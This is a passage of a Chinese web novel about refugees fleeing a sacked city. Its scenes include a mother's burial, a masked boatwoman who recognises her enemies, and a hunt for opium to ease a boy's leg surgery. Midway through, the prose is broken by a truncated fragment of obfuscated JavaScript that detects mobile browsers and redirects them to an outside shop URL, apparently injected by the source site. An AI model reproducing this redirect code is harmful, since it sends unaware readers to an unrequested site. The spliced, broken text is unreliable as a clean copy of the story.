赚了钱,他又去修路,深山里树木繁多,木材质量上乘。 还有外头罕见的药材,在植被茂密,空气潮湿的山里,能成片的生长。 如今运河通达,海运也蒸蒸日上,笠安的东西好又便宜,商人们自然会闻着味儿过去。 唐家在运河上做了几十年的生意,没落过一阵子,这几年在唐八爷的手上,达到了鼎盛,船队扩大了将近一倍。 运河上唐家的船占了一大半。 而唐若这个一直用面巾蒙着脸的女子,是唐八爷手下的得力干将。 唐若站在船头看着不远处坐在河滩石头上晒太阳的两个孩子。 白嫩那些的是少爷,卷头发的是仆人。 看着那卷发小孩瘸着腿,都还要里里外外围着少爷,伺候着少爷,唐若觉得有些好笑。 都这副境地了,居然还有什么主仆之分。 船工们给百姓分面饼和馒头,那小瘸子立马跑来领,唐若好奇也站过去看,听他道:“大叔,能再给我两份儿吗?” 一人一碗粥,两块饼或两个馒头,不值钱,光这里的人,还吃不空他们的船,唐若本就是开船来救人的,她料想过这样的情况,唐家常设粥棚行善,多给些不算大事。 船工看这孩子长得好却瘸着腿,起了几分恻隐之心,拿了个小盆,打算给他装上一盆去。 唐若却开口道:“一人只能拿一份儿。” 夏辛道:“我知道,我家里还有两个人饿着呢。” 唐若指了指不远处的高濯衡:“是他吗?” 夏辛点头。 唐若问:“还有呢?” 夏辛道:“大少爷,也没吃东西。” “大少爷、小少爷…哼。”唐若从鼻子里哼出一声,“都逃难了,还要摆少爷架子?我看他腿脚比你利索,让他自己来拿。” 一旁的女人听见后,忙来帮衬着说话,唐若只有两只眼睛露在外头,谁也不会将她和曾经的江南妓子若若扯上关系。 女人不知如何称呼她,想了想,开口道:“这位娘子。”她抬下巴指了指,“那是高总督家的小公子,他家夫人是跟我们一起逃出来的,若没她,我们这些人都被水寇杀了。可夫人…夫人她…命薄,没熬过去,天亮前…撒了手。小公子年纪小,大公子你见过的呀,就是带着匹大黑马,拿着大刀杀水寇的那个,可威风可厉害了,军爷们都听他的话呢。等朝廷的援军来,大公子肯定要上战场,帮我们把抚州城打回来的呀!” 女人们附和着:“是的呀,是的呀!” 唐若这才把她说的大公子和高承翊联系上,居然是高琰的儿子。 唐若退了一步,伙计将那小盆端给夏辛:“小心点,可别洒了。” 女人们帮他拿馒头:“夏辛,快跟这位娘子道谢。” “什么?”夏辛还未开口,唐若就迫不及待的问,“你刚刚叫他什么?” “夏辛,是这孩子的名字。”女人道。 夏辛冲着唐若点头:“多谢娘子。” 他二爷还饿着呢,夏辛一点在这儿说话的心情都没有,抱着小盆,瘸着腿往高濯衡那走。 唐若的目光一直跟着他。 夏辛把粥捧给高濯衡,高濯衡在等勺子,他在家喝粥要用小瓷勺。 夏辛吹了吹,先喝了一大口:“这样,捧着喝。” 高濯衡抬手托着盆底,学着夏辛的样子,喝了一口。 “喝大口。”夏辛道。 他便倒了一大口,咽的时候呛着了,却强忍着全咽下去才咳嗽。 夏辛掰着手里的饼喂他吃。 高濯衡就乖乖的就这他的手吃面饼,只有一点点淡淡的咸味,不够软,噎得慌,在嘴里还越嚼越苦。 “只有这个。”夏辛知道他吃不惯,“再难吃也得咽下肚,有食儿进肚子,才能活下去。” 高濯衡点头,他梗着脖子咽饼,夏辛又把粥送他嘴边:“喝一口顺下去。” 高濯衡吃了半个饼,喝了七八口粥,就摆手不要了。 他问夏辛:“你入府时年纪也小,怎么会这些。” 和阿娘在小柳河的日子不富裕,但从没穷到缺衣少食的地步。 夏辛用手把高濯衡嘴边的饼渣捡了,不浪费塞进了自己嘴里。 “我也不会,可我见过路边逃荒来抚州要饭的。”夏辛道,“二爷,咱们以后可能真的会挨饿,不能再浪费一口粮食,能吃上东西的时候,一定得把肚子塞饱了。” 因为不知道还有没有下一顿。 “娘亲塞给我好多金子呢。”他拉着夏辛的手,去摸他腰上的小包,里头沉甸甸的,“我衣服里还有一个大金锁。” 夏辛靠近抱住他:“藏好了!世道乱了,就怕有钱没处花,露富被人盯上来抢。” 高濯衡点头:“不怕,有哥哥在呢,等哥哥回来,咱们北上,去城里找大夫给你看腿伤,我给你买烧鸡吃。” 夏辛望着他点头,眼睛湿润了。 高濯衡道:“若下午再放饭,我去拿。不能什么事都让你干。” “不用!”夏辛道,“我本就是下人,该干的,爷金贵着呢,你没干过那个,人多挤着你。” 高濯衡:“我从没那样想过,也从未真的把你当过下人。” 夏辛没反驳,他点了点头,但心里想的是:可下人就是下人,不是说不是就能不是的,这就是事实。 高濯衡拉着他的手,赵蓉死前与他说的真相,对于一个十岁的孩子来说,是很难接受的。他有怀疑,有不解,有错愕,有沮丧。 可他必须得强忍下所有的情绪,保守住这个秘密。 他看着夏辛走路一瘸一拐的样子,特别的心疼。 他们两人都是自襁褓中就离开了亲生母亲。又在同一天,失去了认定的生母。 小院儿屋檐下鸟窝里,雏燕还未学会飞。 “我看看你的腿。”高濯衡道。 夏辛把伤腿搬远了点,不给他看:“没事,已经不疼了,我刚刚看过,结痂了。我皮实得很,很快就能长好了。” 高濯衡爬起来去掀他的裤腿,夏辛躲避不及。< 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高濯衡对唐若鞠了一躬,是对她给饭食,找大夫治夏辛的道谢,他指了指不远处的山林:“唐家娘子,兄长在那边的山里。” 唐若看了一眼船舱:“你哥怎么打算?万一水寇派兵来,我的船得走。” 高濯衡道:“他…很快就会回来。” 唐若是真不想问这么清楚,问一个十岁的孩子打算怎么处理母亲的身后事,是十分残忍的,可她又不得不问,毕竟他们所有人都处在危险当中。 尸体也不能放太久。 高濯衡见她为难的样子,便主动说明道:“哥哥要给阿娘打一副棺材,正在山中伐木,棺材…不会太繁复,很快就能做好。” 这是高承翊的坚持,入土为安需要棺材。 为消除唐若的疑虑,他继续解释道:“娘子无需等棺材做好,等会儿哥哥就会回来,将阿娘背上山。敢问娘子,船上可有布匹。” 高濯衡从袖子里拿出些钱,他刚刚把钱财给了哥哥保管,高承翊又在他身上放了一部分,这里头是有散碎银子和铜钱的,布的事也是哥哥让他问的。 他想买一匹好布,若有丝绸,最好是丝绸,若没有,棉布也可以。没有寿衣,用布包裹上入棺,再下葬。 唐若问:“要给你娘穿吗?” “嗯。” 唐若道:“布匹是有,可没有成衣。” “哥哥说,裹着就好。”高濯衡道。 女人们听见七嘴八舌的打断道:“那怎么行呢!” “是啊是啊。” 妓子们是没有自己的地可以下葬的,但她们会凑份子,给置办上一身新衣,将人洗干净,穿上新衣服,有地方埋,就埋了,没地方,就顺着小柳河的水,飘走。 大多是水葬飘走的,妓子们觉得这样也好,是干净的,干净衣服干净水,或许能得个干净的下辈子。 棺材高承翊可以砍树,琢磨着自己做,可衣服,他不会缝。 高濯衡道:“这是无奈之举。” 女人们便说:“姐妹们倒是会缝衣裳。” “对,我们会。” “不是特别精细,但…常见的款式还是能缝的,左不过是针脚齐不齐,密不密了。” “嗨,总比裹着布下葬要好呀!” 高濯衡道:“敢问…姨姨们,可愿帮忙?” 他随夏辛叫她们姨姨。 “我们愿意!”女子道,“可你要去问问你大哥,他是否愿意让我们缝这件衣裳。” 世人是嫌弃她们的。 “愿意的!他要知道,必定欢喜。”高濯衡跪下磕了三个响头:“姨姨们的恩德,我兄弟二人没齿难忘。” 妓子们想上前扶他,却又怕人说闲话,坏了小公子的名声:“你起来吧,同是天涯沦落人,是你娘从水寇手里把我们救了出来。” “是啊,如若不是她,我们这些人,都要步了夏辛阿娘的后尘。” 唐若问:“夏辛?那孩子的母亲,怎么了?” 女人们想到夏娘就难受:“就…迟那一步,被那个杀千刀的…给…给…” “唉呀,别提了,孩子在这儿呢。” 唐若明白了,夏娘死了。 34.仇人落到了他手上 唐若抬手想摸摸自己的脸,触到的却是脸上的面巾。 她戴了这玩意儿十年,往后还将戴一辈子。 她不是没有回过抚州,只是再没勇气去见一见当年那个曾相互依靠过的人。 这样的自己去见她,不如不见的好。 高承翊下午果然回来了,他身上还是那套宋遥从军营里给他偷来的小兵衣服,只不过把薄甲卸了,没再戴铁盔。 没了头盔,额角骇人的伤口暴露在外头,看着很是触目惊心。 他不多话,进了船舱就要把赵蓉抗上肩背走,被女人们拦了下来。 云姝是女人们中说话较多的,她年纪比夏娘小,今年不过十八,十岁出头就到了小柳河,夏娘常照顾她,有次被客人过了风寒,发热了三天,是夏娘守了她三晚,她一直记着这份恩情。 “公子,你去哪儿?咱们衣服还没缝完呢!” 高承翊停住了动作,云姝托了把手将赵蓉放躺回了小船上。 “小公子没与你说吗?”云姝道,“裹着布太简陋了,姐妹们为夫人缝上一件。” 高承翊有十七了,人又傲气,做不到下跪磕头,可让能母亲穿着新衣下葬,在他心里是极重的恩情,便对着女人们作揖,深深鞠了一躬。 “多谢各位…” “咱们如今有条命在,有个地方栖身,是多亏了夫人和军爷们,这是我们该做的。”云姝道,“看你累的,一身的汗,这头上…的伤都还没包呢。我们烧了热水,去洗把脸吧?” 高承翊拒绝了。 他刚刚在河边已经淋过水了,其实用热水擦洗一下会更舒服些,但他的棺材还没做好,坑也挖得不深。 再有就是,他觉得自己不便在女子面前擦洗。 为防有人掘坟他没有留木头立牌,但他挑了一颗小榕树,是林子里大榕树气根生出的小树,根部才刚刚扎入土。 榕树在抚州和西南都很常见,舅舅和高承翊说过,当年赵蓉才来南边,见到了这种四季常青,能可独木成林的大树,就喜欢上了。 她也叫蓉,取名用意却是芙蓉花,高官贵女,应要娴静、优雅、端庄,出淤泥而不染,濯清涟而不妖。 似芙蓉花一般纯洁美丽。 芙蓉花没什么不好的,可赵蓉却更喜欢榕树。 她养过几株盆栽,却一直觉得那不是真的榕树,榕树是自由且强盛的,它扎下根后便四散生长,永恒的长青、繁茂。它无需任何托举帮衬,却能凭自身之力,予以它树荫下的所有清凉庇护。 赵蓉下葬时,妓子们都跟去山上送行,唐若也去了。 将士们太劳累,自城门处回来的去了大半,帮高承勇挖坑填土。 孔详、宋遥、张廷皓三人都在其中。 宋遥用汾州的规矩张罗了好多,都是高承翊不太懂的,他本是个书生,还写了一篇悼文在灵前读了后随黄纸烧了。 高家兄弟两人带着夏辛跪在树前磕头,两个小的哭得厉害,高承翊也想哭,却倔强的忍住了。 爹不在,妈没了,他这个做大哥的得撑住。 下山时,孔详他们不时都对他投来目光。 百姓们大多数都想等着朝廷援兵把抚州城打回来他们好回家。 可逃兵们无处可去,都指望着他,还有赵蓉带出来的那三十多个妓子。 才到山下孔详就想开口了,高承翊却先一步打断他:“让我休息一会儿吧。” “你!” 他急啊! 还是宋遥来调解:“孔百户,你看他的脑袋。”他放低声音担心孩子们听见,“背上还有伤呢,再不让他睡会儿,他真得死这儿了。” 高承翊在进船舱那一刻就倒下睡着了。 宋遥将孔、张二人带到一旁,说起来军营里的诸事,包括高承翊的伤是太监打的。 孔详也把城门上的事说了一遍,他急的直挠头:“怎么办?这么多兄弟呢?是盼着抚州打回来好,还是怎么着好?” 宋遥道:“总之我是不会再回去了,不过我只身一人,去哪儿都行。待战火平息后,要找地方落脚还是简单的,只不过再回原籍就难了。” 去个陌生的城镇,没有认识的人,自然没人知道他们是逃兵。 回原籍,便是自领逃兵身份。 孔详:“兄弟们这逃兵当的冤啊!” “抚州城不冤?”宋遥道,“他高承翊不怨?娘都死了,弟弟还那么小。” 张廷皓道:“最怨的还关在京城的牢房里呢。” “总督…他…”张廷皓小声问,“会被处死吗?” 通敌是死罪,甚至可能株连亲族,尤其是儿子。 宋遥叹气:“我估摸着高承翊会带着弟弟逃,我和他在军营外分开前他就让我别跟着他,跟着他太危险了。” “咱兄弟们怎么办?”孔详还在问。 宋遥道:“话还不清楚吗?也逃呗,去北边随便找个地方。这样的朝廷,不值得咱们去卖命!” 这无关于朝廷,若他们真是逃兵,也就可以心安理得的去找地方重新开始,可他们不是,兄弟们血还热着,心也没死。 他们会弃城是因为高承翊跪在城墙前的誓言,他们看到了高承翊的骑术和刀法,这样一个既有谋略又能打的将领,值得托付,所有的弟兄们都愿意跟随他去夺回失地,冲锋陷阵。 他们在高承翊身上看见了希望,他们想赢,想胜利,不想当失败者,不承认‘逃兵’两字。 当兵的不就是为了军功卖命,以血肉之躯拼出满身荣耀吗? 若不雪耻,如何苟活? 张廷皓叹出口气:“老孔,没人想这样。” 孔详一把眼泪出来,恨得直跺脚:“从里头跑出来的都说水寇在屠城呢。”他双手捂着脸,无力的坐在地上,一个体格健硕的大胡子男人,现在这样,脆弱得像是个三岁孩童。 “可…咱们什么都做不了。高承翊他娘死了,还能见着尸体,可咱的爹妈,老婆孩子呢?” 在这儿的,哪个不是家破人亡啊。 张廷皓和宋遥一同将手拍上了孔详的肩膀,男人们说不出安慰的话,拍三下,然后各自蹲远了些。 唐若回船队后,便见士兵们带回来的人里,有一队衣着光鲜的人,是大户人家带着家眷,两架马车上装了不少东西,还有仆从伺候。 王翰威挥动手上的折扇,指挥着仆从们:“小心点!这里边都是珍贵的孤本!” “老爷爱书,你们可仔细着点!” 唐若眼睛只一瞥,认出来两个,王氏叔侄儿。 那晚是还有旁人的,但主使者就是这两人,她面巾下的嘴角不自觉勾了起来,天底下还有这种好事儿,让仇人落到了她手上。 唐若叫住了一个船工:“怎么回事儿?” 船工道:“城里的大户。” 她又去问了士兵。 士兵们也看不惯王家人的做派,但这队人不是他们救出来的,他们是从城中光明正大走出来的。 “我打听了点儿,他们家马夫说,员外郎手眼通天,跟水寇的长官关系铁着呢,花了点钱,全家都给放出来了。”一个兵道,“你瞧那白狮毛狗,吃的穿的比咱们都强。” 唐若看着那凹鼻子,身材扁小的狗,面巾后的表情颇为不屑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118234|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王翰威行至唐若面前时,大腹便便趾高气昂:“你是管事的?” 唐若不动声色,船在江河湖海上跑,不知死里逃生多少次,她见惯了风浪,早已喜怒不形于色。 “敢问阁下贵姓?” “抚州王氏,我乃王翰威,你不知道我不怪你,我认识你们唐八爷,他小时候的生辰宴我还去过。”王翰威这话说的像套近乎的远房亲戚。 唐若心里好笑:你怎么不说小时候抱过唐溯杰。 面儿上却客气道:“久仰久仰。” 王翰威道:“我打算去你们斛州的,此前咱们两家本就有生意往来,我去找你们八爷谈一谈。” 唐若不语。 她覆面,王翰威看不到她的反应,便只好道:“要不就…跟着你们的船去吧,你们要回去吗?” 就怕你不来啊。 唐若点头:“自然要回去,承蒙王老爷不弃。” 她原本打算对夏辛表明身份,若夏辛愿意就带着他一起生活。她在斛州有宅子,能送夏辛去学堂读书。 高家兄弟对夏辛还不错,如今突兀的说出来,这孩子不一定会跟她走。 且她如今,需要做完眼前这件重要的事。 夜里高承翊来找她,他拿出了赵蓉带出的金银细软,银票泡烂了,只有金银锭能用。 “我想换成铜钱和碎银。”高承翊道。 “这么多?”唐若挑了挑眉。 这样的世道,一个人带太多钱可不是什么好事,容易被人惦记上,比如那王家的钱,她就惦记上了。除了箱子里的,身上的,还有别处的庄子、铺面、作坊,她都会想办法挖出来,然后送王家人归西。 至于这小子的钱嘛… 唐若看了看,嗯,不算多。但这里,也够他带着弟弟,过上好一阵子了。 “你们船上肯定有吧。”高承翊道。 当然了,这些钱不至于换不散,他们是出来做生意的,带着大量的白银和铜钱。 高承翊来前跟高濯衡商议过,其一是这些钱太多了,拿在身上不安全。 其二是,那些将士是他带回来的,他需要担负起责任。 唐若点头后,高承翊道:“按规矩给你抽成,其余的…” 他拿出一张纸,上边写着孔详队伍里的人和赵蓉带出的妓子,以及如今都无处可去的一些老弱妇孺的名字。 还有他算好的银钱分数,甚至精细到了给唐若的抽成。 “你要把钱分给他们?”唐若万没想到他会这么做。 “母亲遗言,让我带弟弟们回冀州老家。”高承翊道,“老家还有薄田可供耕种,我一人带着弟弟们和这么多银钱并不安全,只需路费便可。” 他留的钱够走个五六趟了,二宝的金锁也能用来应急。 唐若听他说弟弟们,而不是弟弟,又更放心了些。 “我不要抽成,我按等价折算给你。” 他和这女人非亲非故,和唐家也从没有过交集,不免心存疑虑。 高承翊道:“为何?” 唐若道:“唐家不与民争利,你今日愿意倾囊相赠,我自然也乐意成人之美。不过…我确实也有私心。” 高承翊警觉的看着她。 唐若道:“你弟弟身边的那个叫夏辛的孩子,他与我有缘,我如今有些事情要处理,待我得了空闲,便会去找你们,届时若他愿意,我想带他走。” 高承翊拒绝道:“我父亲虽遭陷害蒙冤入狱,但外祖家还在朝中为官,并没有走投无路到养不活一个孩子要送人的地步。” 他不会把夏辛送人,也不要唐若多给的钱。 35.世道如此 当晚高承翊就将银钱分了下去,孔详拿到钱后心彻底凉了,问他:“你发的誓还算话吗?” 高承翊眼神黯淡。 孔详看出了他的痛苦,便再无话了。 他们在晏江上又停留了三日,直到援兵反攻。唐若要带着船队走,他们跟着北上,经运河渡泯江,去靖江省的越州。 夜里船医来给高承翊看伤,他让弟弟出去等着,不让高濯衡看见他的伤口。还逞强说伤口很小,是在跑马时不小心被林子里的树枝划伤的。 可船医进了船舱小半个时辰,出来时背心都汗湿了,高濯衡立马跑进去,抬眼就是大哥发白的脸,床边的水桶和水盆里全是血水。 高承翊连忙下床忍着疼将水端出去倒了,夏辛跛着脚也去拎水桶,高承翊拦住他:“水桶沉,你腿上的伤严重些,能歇就多歇会儿,下船后去冀州还远呢。” 高承翊这边倒了水盆里的水,再回船舱里要去拎水桶,转身就见高濯衡拎着水桶费力的往他这边走,夏辛跟在后头,急得眉头紧锁:“爷,我来吧。” “不用!”小孩儿还倔得很,“我也行的,咱俩一边儿大,你能做的,我也可以。”他比夏辛还长了五个月呢。 高承翊小跑过去接了水桶,他才肯松手。夜里三人挤在小小的船舱里,高承翊将弟弟抱在身上,让他趴着睡,给他当床垫,又将夏辛也揽进怀里,让他枕在自己肩上。 船舱的小床就是片硬木板,可大哥身上软乎暖和。 夜里夏辛被腿伤疼醒,右腿膝盖以下的地方全是麻的,几乎没有知觉,可伤口那块却钻心的疼。高承翊睡着了,他不敢有大动作,也疼得没有多余的力气动弹。 船舱里只有最上方窗户上透下的月光,他睁着略淡的琥珀色眸子,眉头紧锁在一起。 突然有手抚上了他的眉,是高濯衡。 高濯衡趴睡在高承翊身上,脑袋全靠在大哥胸口,听着那沉重有力的心跳,能让他安下心。他侧着脸,那是和靠在高承翊肩膀上的夏辛鼻尖相对的距离。 “睡不着吗?怎么出这么多汗?” 夏辛微微点头,他挽起袖子,露出了手腕处的红绳:“我想我娘了。” 高濯衡牵住夏辛的手,并与他前额相抵:“我也是…” 那温温的脑门儿贴上来,夏辛就忍不住的想哭,他眼中泪水决堤而出,下巴止不住的颤抖,却强忍着不发出声音,默默地流泪,他怕吵醒高承翊和船仓里其他的人。 这里不止他一个人死了亲人,不能因为他一个惹得所有人伤心,现在能安稳的睡上一觉,都是极不容易的事。 可他娘死的惨,夫人也去的仓促,两个活生生的人,都在他眼前咽的气儿,他如今一闭上眼睛,就是两人临死前的场景,那矮个儿畜生,还有那绑着木刺的大石块,一遍一遍在他眼前晃过,分明是他能再快一些,就能避免的悲剧,可他一个都救不了,拉不住。 他悔得要命,疼得要命。 高濯衡凑去亲了亲夏辛的脸蛋儿,以前夏辛不高兴的时候,他都这样去哄的。 可这会儿唇贴上去,夏辛哭得更凶了。 高濯衡只好用手去接他的眼泪。 夏辛便两手都抓着高濯衡的那只手腕。 高濯衡用另一只手掏出怀里的金锁,和夏辛手上的红绳一样,这是赵蓉留给她的遗物:“我想娘亲时就拿它出来看看。等咱们坐船去了冀州就好了。有软和的褥子,热腾腾的饭食,更好的药,你和哥就不用忍着疼了。” 夏辛问:“咱们还能再回家吗?” 高濯衡沉默了,良久他歪着身子从高承翊身上滑了下去,挤进了高承翊和夏辛中间,张开臂膀将夏辛抱进了怀里,他温柔的抚摸着夏辛的背,一下又一下。他以前撒娇哭闹时,高承翊就是这样抱着哄他的。 “好夏辛,你等我长大了,我带你回家。” 夏辛带着哭腔的声音在高濯衡的耳边响起:“那岂不是要很久很久。” “傻瓜,你二爷我一转眼就长大了。”他拍着夏辛的背,“很快很快的,长得很高,一直护着你。” 到了樾州后,便看到江岸港口处滞留的大量晏江灾民,都是逃难来此的。 官府每日发粥一碗,馒头两个。越州许多商贾大户,以及本地官宦家,在港口处都另设有粥棚,以目前来看,灾民们还没到饿死的地步。 故而虽有灾民不断流入,但情况不算太糟糕,大家都为捡回条命而庆幸。所有人都在讨论兵部调兵南下,太子御驾亲征的事,据说太子率兵日夜兼程,昨夜已经到了抚州城外的军营里。 他们都对反攻之事充满希望,毕竟水寇可以一日之内攻占抚州城,那我们的军队,当然也可以一日之内把他们赶走。 包括越州的百姓也是这么想的,所以并未排挤灾民,而是积极响应朝廷,一些乡绅大户会将空余的屋舍,低价让给灾民避难。 高承翊抱着弟弟下船,他额上的伤还包着白布,高濯衡抱着他的肩膀道:“哥放我下来吧,我自己能走。” “这儿人太多了。”他怕人群把他和弟弟冲散,“等人少些,哥哥再放你下去。” 高濯衡道:“我怕哥抱着我,背上疼。” 夏辛亦步亦趋的跟在他们后边,仍是跛着脚的,高濯衡看着他走路的样子,难免忧心。 待走到稍宽的地方,他才放心将弟弟放下来,俩孩子就手拉着手坐去一边,等高承翊再去船上把马牵下来。 孔祥他们都换了普通的麻衣,混进了灾民里。 至于刀剑兵器那些,问唐若讨了两个破木箱,装在旧马车上,由宋遥偷的那匹马拉着下了船。 众人看此地灾民这么多,便也打算先在此停留,静待反攻结果。他们手上有高承翊给的钱,男人们还可以去找短工挣点口粮。 高承翊想带夏辛去医馆治腿,他们没遇上过这种事儿,到了城门外被拦住了才知道,战时非晏江户籍不得入城,让他们在城外的安置点好好待着,等衙门出处置的公文。 高承翊偷偷给守门士兵塞了银子,一直等到快天黑,才被叫去一边,让他明早天刚亮,城门重开时再来。 高承翊心中不安,十分狐疑的看着那人,那人便道之前的银子是定金,待明早还要再交上多一倍的钱,才能放他入城。 事已至此,若明早不来,刚刚给的银子就白花了,明早来了,又要多花一倍的钱。 高承翊看了看不远处坐着的两个孩子,无法只好点头。 好在城门口有人摆摊儿卖些吃食,高承翊给孩子们买了烧肉,待吃饱后抱他们上了马,三人才就着夜色回去。 张廷皓他们凑钱租了个庄户人家的小院儿,一间屋子铺上干稻草,能躺四十来号人,小院儿里几间屋子都被他们躺满了,赵蓉带出来的女人和孩子们给安排了单独的一间住着,没让她们平摊租子。 孔祥他们见高承翊回来了,就去问城中如何。 高承翊说了情况,并让孔祥他们帮忙照看两个孩子,他明早再去一回,看能不能将大夫带出来。 夜里邵一苇来帮他们两人换药,唐若的船走了,但留给她不少药品,高承翊背上的伤红肿退了大半,伤口处有新鲜出血,没有异味,正在逐渐愈合,除去血痂后重新包扎即可。 可夏辛的腿,却很难办了。 邵一苇在孩子的嚎叫声中,强制的将夏辛的小腿伤口冲洗干净,她在船上时就想这么干了,可孩子一点儿不配合。 今日她做足了准备,那水是她提前烧开放凉的,还掺了很少的盐。盐多了会灼痛伤处,但恰到好处的淡盐水,反而能舒缓疼痛。 夏辛腿肚子的伤处一圈全发白了,肉烂乎乎的,扒开后能看见骨头。灾民中也有大夫,邵一苇看着难办,就出去请了他们来。 五个老先生,捋着胡子看了一圈儿。夏辛刚刚洗伤口时疼过了劲儿,现在一点儿力气都没有,趴在稻草上,小脸白丝丝的。 那几人连连摇头,甚至说:“若还能吃得下东西,就多吃些吧。” 人是邵一苇请来的,也是她掀了稻草把人赶出去的。 她平时不爱说话,总和她母亲粘在一起,不爱管闲事儿,有人招呼她,她总是礼貌的轻笑点头,却不料骨子里是个有气性儿的。 “瞎说什么?吃什么吃!出去!滚出去!滚!” 就那么一个小洞,何至于此? 高濯衡也是这么想的,他捂着夏辛的耳朵:“没事的没事的,不是那样儿的!” 高濯衡一时间被恐惧笼罩了,这恐惧名为——夏辛或许会永远的离开他。 邵一苇关上门,一屋子老爷们儿都瞧着她,她脸被气红了,眼睛也是红的,却斩钉截跌的说:“有的治!能治的。” 孩子才多大啊,怎么能说没法治就没法治了呢。 夏辛趴着,脸都贴在高濯衡的腿上,邵一苇把他的脸掰过来,小孩儿脸上全是眼泪。他模糊的视线里,是小姑娘倔强的脸:“我跟你说能治就是能治!” 夏辛咬着下唇,点了点头。 邵一苇转身出门,叫走了高承翊,高承翊立马跟了上去。 他们走远了些,邵一苇才说:“我有一个药方,但是不全,不过…我加了几味药,按道理…是可行的,却从没真的试过。” 高承翊问:“一点把握都没有吗?” 邵一苇道:“伤口处的肉都烂了,我要用刀将腐肉全部剜走,甚至是刮骨祛毒,之后在敷上按方子磨出的药粉,若他能挺过去,逐渐长出新肉,就能活下去。” 听着都疼,成年人都吃不了的苦,何况他一个才十岁的孩子。 “这孩子之前有哮症,会有影响吗?” “那已经是其次了,当下保住命才最为关键。”邵一苇道,“若不尽早剜去腐肉,脓毒散至全身,他必死无疑。” 邵一苇放下药箱,拿出笔墨,高承翊提油灯给她照明,她写下药方:“此方名为祛毒百灵散,有祛脓、止血之效。”接着又写了一方,“此方名为生肌散,脓毒拔除后,以此药粉敷上,能生肌止痛。这本可以之后再买,可…我担心此后进城买药会更难。” 高承翊在军中也见过些止血药方,那祛毒百灵散其中所需几味药,皆价格不菲。 “你的钱够吗?”邵一苇问。 高承翊点头。 她又道:“那…我还有…” 高承翊有些受不了她说话大喘气儿了:“直说吧。” “越州离海港近,我想是能买到的。”女子总是容易被人拒绝,所以很多事喜欢拐着弯儿试探。邵一苇也知道自己有这毛病,一时半会儿改不了,“阿芙蓉,就是罂/粟果。我…怕他疼死过去。” 是海禁品之一,高承翊站起来,深吸了一口气,叹出后点了点头。 邵一苇走前仍在纠结,说实在没有那也没办法,可以买乌头、天仙子来代替。乌头那东西太毒了,万一控制不好用量,人可不一定能醒过来。 但阿芙蓉不同,无论是饮用,还是外敷,都不会致命,且人还能保持清醒,但那东西,常用会上瘾,所以海禁一直管制着,每家医馆拿去多少,用到了谁身上,都必须有记录。 寻常时候那东西是不太贵的,但如今情形,进城没有户籍都需要贿赂守门的,医馆想来不会卖阿芙蓉给他,海港的黑市上肯定能买到,但价格可就不知道要翻多少倍了。 且他一个外地人,触及到那种地方,总归有风险。 高承翊再回屋时,两个孩子睡在屋子的最角落,一旁的宋遥正帮忙照看着,夏辛的脸色很不好看,之前是苍白,现在竟有些发黑了。 “怎么说的?”宋遥问。 夏辛也半睁开眼睛来看。 他一只手握在高濯衡手上,高承翊就牵起他另一只手:“夏辛是男子汉大丈夫对不对?” 夏辛点头:“当然是了,我…比刚刚好多了。”这会儿伤口不是特别疼了,“就是觉得有些冷。” 军中常有受伤的将士,刀伤,断了手脚,都不一定会死,可一旦开始发冷了,基本上撑不过七天。 “冷?”宋遥是新兵不知道那些,他摸着夏辛的头,“你这是发烧了。” 孔详和士兵们听见,都凑过来看,用那种看一眼少一眼的神情,惋惜着这个孩子。 “干嘛呢你们?”宋遥翻白眼,“让让,我去打盆冷水来,给他拧个毛巾降降温。” 高承翊咳嗽了一声:“回去睡吧,别围着了。” 他留了一根蜡烛,好夜里给夏辛换毛巾。 夏辛还在等着听他说话,高濯衡也是。 高承翊看大伙儿几乎都躺下了,便从怀里把药方拿出来,小声讲给夏辛听,什么生肌,什么祛毒的。 听到了要拿刀子把腐肉全切了,夏辛吓得把高濯衡的手攥老紧了,心道怪不得刚刚问他是不是男子汉。 是男子汉也受不了活生生的把肉切了啊 他忍不住呜呜的哭,高濯衡听着很难受,也抱着他掉眼泪。 高承翊给小孩捞起来,抱到了自己身上:“夫人的遗言,我都没有听到。” 夏辛低声抽泣着:“夫人说这世上,能信的只有大少爷和二爷。” 高承翊没办法说出流血不流泪这样的话,夏辛六岁来他家,也是他看着长大的。养个小猫小狗都会于心不忍,何况是个孩子。 “别叫什么少爷了,”高承翊道,“跟衡儿一样,叫我哥吧。” “那…怎么行…” 高承翊勉强挤出了一个笑:“叫声儿我听听。” 夏辛惨白的脸上浮了点红晕,还会害羞。 “那…不行的。” 高承翊不再多逼迫他,他看着夏辛的脸郑重道:“有大哥在就都别怕。” 他耐心解释道:“西洋有种药,叫阿芙蓉,是能止疼的。” 夏辛知道那东西,小柳河有些青楼里会单独隔出茶室,供客人们抽芙蓉膏,阿娘从不让他靠近,那东西会上瘾,抽过一次,这辈子都离不开。 高承翊看他的表情,便问:“你知道?” 夏辛道:“那是大烟?” 高承翊点头:“但不算全是,你只用这一次,且用量很少,不会上瘾。” 夏辛问:“能买到吗?” 高承翊道:“我明早牵马进城,越州离港口近,肯定能买 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另有三四十人都在一旁等着,全都乖乖交了钱,高承翊要把夏辛的救命药带回去,不想多闹事,便也跟在后头付了钱。 方子上的大多数药都很好买,店家还会帮着把药材碾成药粉,包好后方便携带。 可阿芙蓉,所有的药店,都对他摇头。 去烟花柳巷或许能买到芙蓉膏,可那已是再经过一道加工的东西,邵一苇要的就是原本的阿芙蓉。 为了找有那东西卖的地方,高承翊费了一番功夫。 幸好仰赖他原本的游方经历,花了点钱,找到了门路。 那是一家很大的赌坊,据说这赌坊是个什么刘老爷开的,在当地势力庞大,家有农庄百处,良田数万亩。 赌坊、酒楼、作坊不计其数。 今儿恰好不在家,不过区区一点阿芙蓉,也见不着刘老爷。 高承翊付钱拿东西,不便宜,但好歹他的钱包兜住了,小金锁还在袖子里,想着回去后还给二宝时,他肯定会很高兴,夏辛也无需再有顾虑。 他便高高兴兴的揣上东西,要出门牵上马出城。 却被个伙计拦住:“老板喝杯茶水再走吧。” 高承翊心知有异,便回绝了:“多谢,我不渴。” 